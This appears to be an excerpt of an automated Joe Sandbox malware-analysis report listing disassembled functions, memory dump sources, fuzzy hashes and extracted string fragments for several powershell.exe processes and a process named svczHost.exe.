Function 00007FF848F1E674 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a449a957aec0fbb0eb0a3a6d7cbf2505b8fb651773bac55d5af5f081c1da7609
Instruction ID: f6b1d5e3d4898957ef8a1c4e3fb09e447c5013cbf4b4d9add24d89cc072d8b89
Opcode Fuzzy Hash: a449a957aec0fbb0eb0a3a6d7cbf2505b8fb651773bac55d5af5f081c1da7609
Instruction Fuzzy Hash: A531D231D0CA5C9FDB59DBA89849AE9BBF0FB65320F04422BD009C3591DB74A855CB91

Function 00007FF848F1E478 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25dd6cc38c552b6ba0b0b611f7ecf701ff85cb946895edf7fef9b2b04a3380d6
Instruction ID: 6eaaea2735eb5875f9d01b780717038d316372e67900b0e056f7854bdca00686
Opcode Fuzzy Hash: 25dd6cc38c552b6ba0b0b611f7ecf701ff85cb946895edf7fef9b2b04a3380d6
Instruction Fuzzy Hash: D431E071E0CA498FF759AB6894553FAB7E0EF64340F00017ED44AC32C3DF69A8068759

Function 00007FF848F1E760 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba24a5371ec754dcd8f691a9d7b0640a87c62b4de7f4715f80ec8bc3fea1fc2
Instruction ID: 4c48ca262799cdd870310dafecbdccd44e8b5f83f87d5fce24b76ed998eff477
Opcode Fuzzy Hash: fba24a5371ec754dcd8f691a9d7b0640a87c62b4de7f4715f80ec8bc3fea1fc2
Instruction Fuzzy Hash: E521063190CA4C9FEB19DB58984ABE9BBF0EF56320F00026FD049C3592DB756855CB91

Function 00007FF848F186FA Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebb4cfec159d5204cf6041b79edfa68078d73199aca550c8b17b21a0e32f9d77
Instruction ID: eba30e69791a0a3c9ae8555ed353dbd2d3df09c3cdcc71ac73cf95e32741d37c
Opcode Fuzzy Hash: ebb4cfec159d5204cf6041b79edfa68078d73199aca550c8b17b21a0e32f9d77
Instruction Fuzzy Hash: EF21D372E1DB890FE386E73848651A97BE1EF56390F4800BAC449CB2D7EF299C458345

Function 00007FF848F192AD Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 977baebcbda0c7e564a43c2bce7c619501dd68f164cfa6676b123b35a24fdc7f
Instruction ID: 368e8179a797784a2962cd71f486580673a1b939938885fc5f37d0a2f4cfbdbc
Opcode Fuzzy Hash: 977baebcbda0c7e564a43c2bce7c619501dd68f164cfa6676b123b35a24fdc7f
Instruction Fuzzy Hash: 1D11E16494E6C56EE783673818245B3BFE8CE83365B0805EFE0D8864D7D508094AC3A6

Function 00007FF848F14BF5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1d83e8d9ad0ff779d92e08f69f1e06b52c9e2b47039ca20a01433bafa786f3
Instruction ID: 4b81e49b8e34e517e7aec725a36d6c1f5ede9d2ff68935574315f2c56a588397
Opcode Fuzzy Hash: ee1d83e8d9ad0ff779d92e08f69f1e06b52c9e2b47039ca20a01433bafa786f3
Instruction Fuzzy Hash: BB01677111CB0C4FD748EF0CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

Function 00007FF848F1BE11 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 321fba92557511bcd9553fb4e1dbb9233edb20591581ad2ad0248215b86be73a
Instruction ID: fff7a305a413415af1be743c0b5cd012ad6c29d79b6675c611d5c7275c1cf0d3
Opcode Fuzzy Hash: 321fba92557511bcd9553fb4e1dbb9233edb20591581ad2ad0248215b86be73a
Instruction Fuzzy Hash: 22F0C811A1EAC95FE345A72C54242A57BA1EB89350F1940FAC04CCB2C7CE1C5C0543D6

Function 00007FF849453FD4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3414448616.00007FF849450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff849450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24505c6798aa2b5370f3735138ebcfaa808df4c4b3061e59ec8b17bff35dd392
Instruction ID: 2e669ad90431a48e24b40896cdfe12621b8d586bd4f188c6ed6adddea5e4389f
Opcode Fuzzy Hash: 24505c6798aa2b5370f3735138ebcfaa808df4c4b3061e59ec8b17bff35dd392
Instruction Fuzzy Hash: 3DF0A03131CF044FE748EE2DE4496A2B3E0FBA8350F10462FE44AC3291DA21E8818782

Function 00007FF849452CDE Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3414448616.00007FF849450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff849450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0f8ae30c0c524a1fb5eadab18714a6d1f17c12024bfd7b6cb9d7690e4f73bed
Instruction ID: 9e6f4b65827aeefcc7e49d6d767cd8046b560a0fbc40f949e906d8e38cd4b84c
Opcode Fuzzy Hash: e0f8ae30c0c524a1fb5eadab18714a6d1f17c12024bfd7b6cb9d7690e4f73bed
Instruction Fuzzy Hash: 1EE0C232A0C4099EE318B648F4464F8F3D0FF04370F1400B3E21EC2857EB267452C640

Non-executed Functions

Function 00007FF848F1DADE Relevance: 21.5, Strings: 17, Instructions: 289COMMON

Download Yara Rule

Strings

h?#I, xrefs: 00007FF848F1DC09
<#I, xrefs: 00007FF848F1DB79
H2#I, xrefs: 00007FF848F1DD11
?#I, xrefs: 00007FF848F1DBF9
@L#I, xrefs: 00007FF848F1DAF1
P<#I, xrefs: 00007FF848F1DB59
kN_I, xrefs: 00007FF848F1DC04
`A#I, xrefs: 00007FF848F1DC79
3#I, xrefs: 00007FF848F1DD41
h3#I, xrefs: 00007FF848F1DD51
H>#I, xrefs: 00007FF848F1DBC9
p=#I, xrefs: 00007FF848F1DB99
(=#I, xrefs: 00007FF848F1DB89
8B#I, xrefs: 00007FF848F1DCA9
0;#I, xrefs: 00007FF848F1DB19
x;#I, xrefs: 00007FF848F1DB29
@@#I, xrefs: 00007FF848F1DC39

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: 3#I$ ?#I$(=#I$0;#I$8B#I$@@#I$@L#I$H2#I$H>#I$P<#I$`A#I$h3#I$h?#I$kN_I$p=#I$x;#I$<#I
API String ID: 0-3079908675
Opcode ID: ec28346b83b533794e839f3db6ebcd5fa65358be88183970d4d5099f93983b5b
Instruction ID: 078b9d37292978b1dc07489a059b74d78e6fb22274cb5ef69901e0950dff6c91
Opcode Fuzzy Hash: ec28346b83b533794e839f3db6ebcd5fa65358be88183970d4d5099f93983b5b
Instruction Fuzzy Hash: D19198A2E0EEC24FE26AA77838151357EB4FFA2B90B8941FFC184871DF96649D054385

Function 00007FF848F1DD80 Relevance: 20.3, Strings: 16, Instructions: 343COMMON

Download Yara Rule

Strings

dN_I, xrefs: 00007FF848F1E304
gN_I, xrefs: 00007FF848F1E004
-#I, xrefs: 00007FF848F1E009
_, xrefs: 00007FF848F1E1FC
`5#I, xrefs: 00007FF848F1DDC1
@4#I, xrefs: 00007FF848F1DD81
8*#I, xrefs: 00007FF848F1DF39
`)#I, xrefs: 00007FF848F1DF09
h$#I, xrefs: 00007FF848F1E1E1
hN_I, xrefs: 00007FF848F1DF04
x,#I, xrefs: 00007FF848F1DFB9
@%#I, xrefs: 00007FF848F1E211
$#I, xrefs: 00007FF848F1E1D1
(.#I, xrefs: 00007FF848F1E019
P-#I, xrefs: 00007FF848F1DFE9
p.#I, xrefs: 00007FF848F1E029

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: $#I$(.#I$8*#I$@%#I$@4#I$P-#I$_$`)#I$`5#I$dN_I$gN_I$h$#I$hN_I$p.#I$x,#I$-#I
API String ID: 0-964364078
Opcode ID: 594ed351b477ae3c397603608c88d3d471217ebfcdd7cbc772863a8d10d2366a
Instruction ID: aecd9dc896244416945c7c715ea0697372aec6aec60d42b6856fdb9f168abce2
Opcode Fuzzy Hash: 594ed351b477ae3c397603608c88d3d471217ebfcdd7cbc772863a8d10d2366a
Instruction Fuzzy Hash: 7AB187A2E0EEC24FE26A67783C151346FA1FF61B90F9941FBC148571DF9A24AD0583C5

Function 00007FF848F1E110 Relevance: 12.8, Strings: 10, Instructions: 312COMMON

Download Yara Rule

Strings

h$#I, xrefs: 00007FF848F1E1E1
dN_I, xrefs: 00007FF848F1E304
("#I, xrefs: 00007FF848F1E161
_, xrefs: 00007FF848F1E1FC
H##I, xrefs: 00007FF848F1E1A1
p"#I, xrefs: 00007FF848F1E171
P!#I, xrefs: 00007FF848F1E131
$#I, xrefs: 00007FF848F1E1D1
@%#I, xrefs: 00007FF848F1E211
!#I, xrefs: 00007FF848F1E151

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: $#I$("#I$@%#I$H##I$P!#I$_$dN_I$h$#I$p"#I$!#I
API String ID: 0-2198592417
Opcode ID: 3f2f98f845056dfa058b23201020b2facbb5e4f1083fb700475102bfa0711f90
Instruction ID: 74308ca1ce74e298da0cc3e7f840fae57741e66252524c49af9a2ee147853a34
Opcode Fuzzy Hash: 3f2f98f845056dfa058b23201020b2facbb5e4f1083fb700475102bfa0711f90
Instruction Fuzzy Hash: 6EA183A2E0EEC24FE36957783C141356EA1FBA2B90B9941FFC188971DF9D249D094389

Analysis Process: svczHost.exePID: 6164, Parent PID: 1068COMMON

Non-executed Functions

Function 00007FF7C112BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7C112C00C
GetCurrentThreadId.KERNEL32 ref: 00007FF7C112C01A
GetCurrentProcessId.KERNEL32 ref: 00007FF7C112C026
QueryPerformanceCounter.KERNEL32 ref: 00007FF7C112C036

Memory Dump Source

Source File: 0000001B.00000002.3529071742.00007FF7C1071000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7C1070000, based on PE: true

Associated: 0000001B.00000002.3529027924.00007FF7C1070000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3530586352.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3530586352.00007FF7C1777000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3531755958.00007FF7C1985000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3531880045.00007FF7C1986000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3531880045.00007FF7C199F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3531880045.00007FF7C19A2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3531880045.00007FF7C19A4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.3532334341.00007FF7C19A7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff7c1070000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f3f96051d0eb21c3945a3f0a1a11fbbf54d8e2d0602f5fb5ac0557b9058b17e
Instruction ID: 2de50f9af0f9094e72523827a3f31d07599a2e708addb061a6787146afac8b22
Opcode Fuzzy Hash: 0f3f96051d0eb21c3945a3f0a1a11fbbf54d8e2d0602f5fb5ac0557b9058b17e
Instruction Fuzzy Hash: DC112E26B14F058AEB00DF60E8542B873B4FB5A768F840E31DA6D86BA4DFBCD594C350

Analysis Process: powershell.exePID: 1784, Parent PID: 6164COMMON

Executed Functions

Function 00007FF848F37796 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3505368799.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16588dd310a34ebc5544bfab452e8e50a1b32f4be391cb18a6757663eef95d3a
Instruction ID: 65caaf2c1626bc7b311f6789fa46cd94156c4e6d815723c89e1c6eb9de057642
Opcode Fuzzy Hash: 16588dd310a34ebc5544bfab452e8e50a1b32f4be391cb18a6757663eef95d3a
Instruction Fuzzy Hash: FFF1923090DA8D8FEBA8EF28C8557E937E1FF54350F14427AE84DC7295DB3899458B82

Function 00007FF848F38542 Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3505368799.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 704d67357c087bbd06e0eca408a43888cb4e3144fb074fe0ae8f08906ce79a8c
Instruction ID: b503db81b49b50f44eb51dfc9b6a3700c701718bfeea2f7a74a4e71309833b40
Opcode Fuzzy Hash: 704d67357c087bbd06e0eca408a43888cb4e3144fb074fe0ae8f08906ce79a8c
Instruction Fuzzy Hash: 00F1D43091CA8E8FEBA8EF28C8557E937E1FF54350F54426ED84DC7291DB78A9448B81

Function 00007FF848F38156 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3505368799.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37cbf5cefd88f79f331b9acea5338f456a369ec4dcb681bc5de65d9c8072d10b
Instruction ID: 4febced6797b75983efb2a64a3f0242847d6c4eb52cf16ef4e4a5af5b8cda9a3
Opcode Fuzzy Hash: 37cbf5cefd88f79f331b9acea5338f456a369ec4dcb681bc5de65d9c8072d10b
Instruction Fuzzy Hash: 7EB1C53051CA8D4FEB69EF28C8557E93BE1FF55350F44426EE84DC7292CB3899448B86

Function 00007FF848F37C54 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3505368799.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64edde9a8d4c14ea247ccfd887112aac223c41e3477417e7072d5c0844747ebb
Instruction ID: 2377e4d0eb74d76bc729c2b7a0fd99817a7cb23e8e6b1e6722e7eec5a907d13f
Opcode Fuzzy Hash: 64edde9a8d4c14ea247ccfd887112aac223c41e3477417e7072d5c0844747ebb
Instruction Fuzzy Hash: 8831CA3081DA4E8EFBB8AB15CC1ABF93290FF46395F40113AD80DC61D2DB786985CB15

Function 00007FF848F333B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3505368799.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 1fde1e7c06bd8ad01fde8fdacf519f27676798cf7977af127a8e772823c5939c
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 9501677111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695DB36E882CB45

Analysis Process: powershell.exePID: 5488, Parent PID: 6164COMMON

Executed Functions

Function 00007FF848F26FED Relevance: 6.7, Strings: 5, Instructions: 450COMMON

Download Yara Rule

Strings

X}#I, xrefs: 00007FF848F270B1
x~#I, xrefs: 00007FF848F270F1
}#I, xrefs: 00007FF848F270D1
0~#I, xrefs: 00007FF848F270E1
8|#I, xrefs: 00007FF848F27071

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: 0~#I$8|#I$X}#I$x~#I$}#I
API String ID: 0-2979404571
Opcode ID: cba79936155801537b40ab1edab37020d2d2bddffac595b2923b4ae6677198c0
Instruction ID: c86132f5d18bddf77bb1f1da50729ef1f566940301a8dbc629cf1734969ecb53
Opcode Fuzzy Hash: cba79936155801537b40ab1edab37020d2d2bddffac595b2923b4ae6677198c0
Instruction Fuzzy Hash: 11E1F271D0DE8A4FEB69E73868152B97BE0EF66350F0401BEC049C71D7DF29A8098795

Function 00007FF848F27030 Relevance: 6.6, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

X}#I, xrefs: 00007FF848F270B1
x~#I, xrefs: 00007FF848F270F1
}#I, xrefs: 00007FF848F270D1
0~#I, xrefs: 00007FF848F270E1
8|#I, xrefs: 00007FF848F27071

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: 0~#I$8|#I$X}#I$x~#I$}#I
API String ID: 0-2979404571
Opcode ID: fe33c24536db3f9a0f55cbf7efabcb9bc2e2e24796cda974926149581f1631f3
Instruction ID: 7120f670a775d5ce1999f1fbe1e9f59cc3045ba5aa90c180d386a2bebcfb4acf
Opcode Fuzzy Hash: fe33c24536db3f9a0f55cbf7efabcb9bc2e2e24796cda974926149581f1631f3
Instruction Fuzzy Hash: 7EB10671E1DECA0FEB69A73868212797BE1EF61790F0401BAC049C71C7DF29AD098795

Function 00007FF848F27040 Relevance: 5.0, Strings: 4, Instructions: 30COMMON

Download Yara Rule

Strings

`{#I, xrefs: 00007FF848F27041
x~#I, xrefs: 00007FF848F270F1
0~#I, xrefs: 00007FF848F270E1
8|#I, xrefs: 00007FF848F27071

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: 0~#I$8|#I$`{#I$x~#I
API String ID: 0-2172937309
Opcode ID: ef6b4334771edf6352577fff66963aafda19735dd4e89962344c7971a1fbcf76
Instruction ID: 8de8d28c0288553870ce99db428ba1d49a287d57201f1518ef29cdea75c85b2f
Opcode Fuzzy Hash: ef6b4334771edf6352577fff66963aafda19735dd4e89962344c7971a1fbcf76
Instruction Fuzzy Hash: 8EF065A3D1FEC60FF26A963838200352EA9BBA3B90B0901F7C044871DB9B159E0D4399

Function 00007FF848F28C2D Relevance: 2.8, Strings: 2, Instructions: 256COMMON

Download Yara Rule

Strings

Pp#I, xrefs: 00007FF848F28CD8
Pp#I, xrefs: 00007FF848F28D23

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: Pp#I$Pp#I
API String ID: 0-4095597710
Opcode ID: 0470822ceba7e9ddacb6648518bc686edb67f26cca64a025430ff39fc5d77220
Instruction ID: f330e93c43b91dd0bd842c5dec4bae5de402e3cd2727991e0d29ad80696ba0ba
Opcode Fuzzy Hash: 0470822ceba7e9ddacb6648518bc686edb67f26cca64a025430ff39fc5d77220
Instruction Fuzzy Hash: 1C71B07091DA4D9FDB58EB68A8515FDBBF1FF98350F00023EE08AD3286DF2968068745

Function 00007FF848F27DCE Relevance: 2.7, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

Pp#I, xrefs: 00007FF848F27F94
Pp#I, xrefs: 00007FF848F27EA3

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: Pp#I$Pp#I
API String ID: 0-4095597710
Opcode ID: 19cb0132f8e2bfdb66b81c39e56c37021f9dcc96c0e3990365486b8d422182f6
Instruction ID: 889c6bbcfa9bef41dc8d3082479a67355259f6329822ed0ef2c864f9b0f293f6
Opcode Fuzzy Hash: 19cb0132f8e2bfdb66b81c39e56c37021f9dcc96c0e3990365486b8d422182f6
Instruction Fuzzy Hash: AB61C03190CA5C8FDB69EB18D8457E9B7F0FF68310F0042AAD04DE7291DB7569858B85

Function 00007FF848F27ED0 Relevance: 2.6, Strings: 2, Instructions: 145COMMON

Download Yara Rule

Strings

Pp#I, xrefs: 00007FF848F27F94
Pp#I, xrefs: 00007FF848F27EA3

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: Pp#I$Pp#I
API String ID: 0-4095597710
Opcode ID: a5eff9e9e3ded0a1d7ce5944d35538647f720e3f261e6189c9c11faabff8bf81
Instruction ID: f2590664be11063fabb83de744272f0267595999863572a52e5a5a06ed8abfb5
Opcode Fuzzy Hash: a5eff9e9e3ded0a1d7ce5944d35538647f720e3f261e6189c9c11faabff8bf81
Instruction Fuzzy Hash: DC41D331C0CE5D8EEB64EB58E8417F9B7F0FF58360F0041AAD04EA7281DB7969858B85

Function 00007FF848F2866D Relevance: 1.6, Strings: 1, Instructions: 313COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF848F2880E

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6c920f2a630edccee74bd981438966c44b9cfbf4f1d9d85935a79f82eec3bbc0
Instruction ID: afb4e8b220f04a16315c97e905104eaa01a9c700488d500bcf94dc5cbab03553
Opcode Fuzzy Hash: 6c920f2a630edccee74bd981438966c44b9cfbf4f1d9d85935a79f82eec3bbc0
Instruction Fuzzy Hash: B8A1483181D6CA4FE755EB2898516FA7BE1EF51350F5842BDC48A8B1C3CF2AB406C385

Function 00007FF848F2AC32 Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

P>#I, xrefs: 00007FF848F2ACBC

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: P>#I
API String ID: 0-1964349041
Opcode ID: bc793786a1560b6d95ba5351221b1c21d025ce4aa8ba763affd30f04e04b0d59
Instruction ID: 672dcc874b5d92d0e5fb69fa0b9c6e1026a7751ebf810cc992ef406ed22d89e8
Opcode Fuzzy Hash: bc793786a1560b6d95ba5351221b1c21d025ce4aa8ba763affd30f04e04b0d59
Instruction Fuzzy Hash: EE416E31A2D9194FDB59F72894566F9B3E1FFA8340F5041BAD00EC36C2EF39A9458B84

Function 00007FF848F27EEF Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

Pp#I, xrefs: 00007FF848F27F94

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: Pp#I
API String ID: 0-252786363
Opcode ID: fcf90943f289c19bc231f99e8c7dc132d7af5cc202d02021eb4105c78e140e46
Instruction ID: 05a62e5dab5bcea5c4879011be90be79b09c9b1cff5dbe2eb5e016e027559dd5
Opcode Fuzzy Hash: fcf90943f289c19bc231f99e8c7dc132d7af5cc202d02021eb4105c78e140e46
Instruction Fuzzy Hash: 7A41403190CA1D8FDF55EB58D841BE9B3B1FF64310F00819AC04EA7241DB75AA85CF85

Function 00007FF848F28612 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

P>#I, xrefs: 00007FF848F28660

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: P>#I
API String ID: 0-1964349041
Opcode ID: be00ae38125ea332d18455f173c9f767a20caf899559bcdff31977fc38541d1f
Instruction ID: 44abe58dd270824285aa39f8660768a240543cee190736de4ae0a198b7372a5b
Opcode Fuzzy Hash: be00ae38125ea332d18455f173c9f767a20caf899559bcdff31977fc38541d1f
Instruction Fuzzy Hash: 62F04F32A1CA5D8FEB94EF18A8053EA73E2FB48361F400076D50DE3281DF36AC118781

Function 00007FF848F27130 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4593e3f5e0e22acb2f739c12589929155786ad91cb91f0cebe587151c040382a
Instruction ID: 37ebcf54ecdf37b63e8a49ce53b8181f9587a51e6e51907be73546ad161e9d09
Opcode Fuzzy Hash: 4593e3f5e0e22acb2f739c12589929155786ad91cb91f0cebe587151c040382a
Instruction Fuzzy Hash: B261D331E1CE8A0FEB69E73458616B97BE1EF65340F10017ED40AC71C2EF29AC458B95

Function 00007FF848F2B029 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

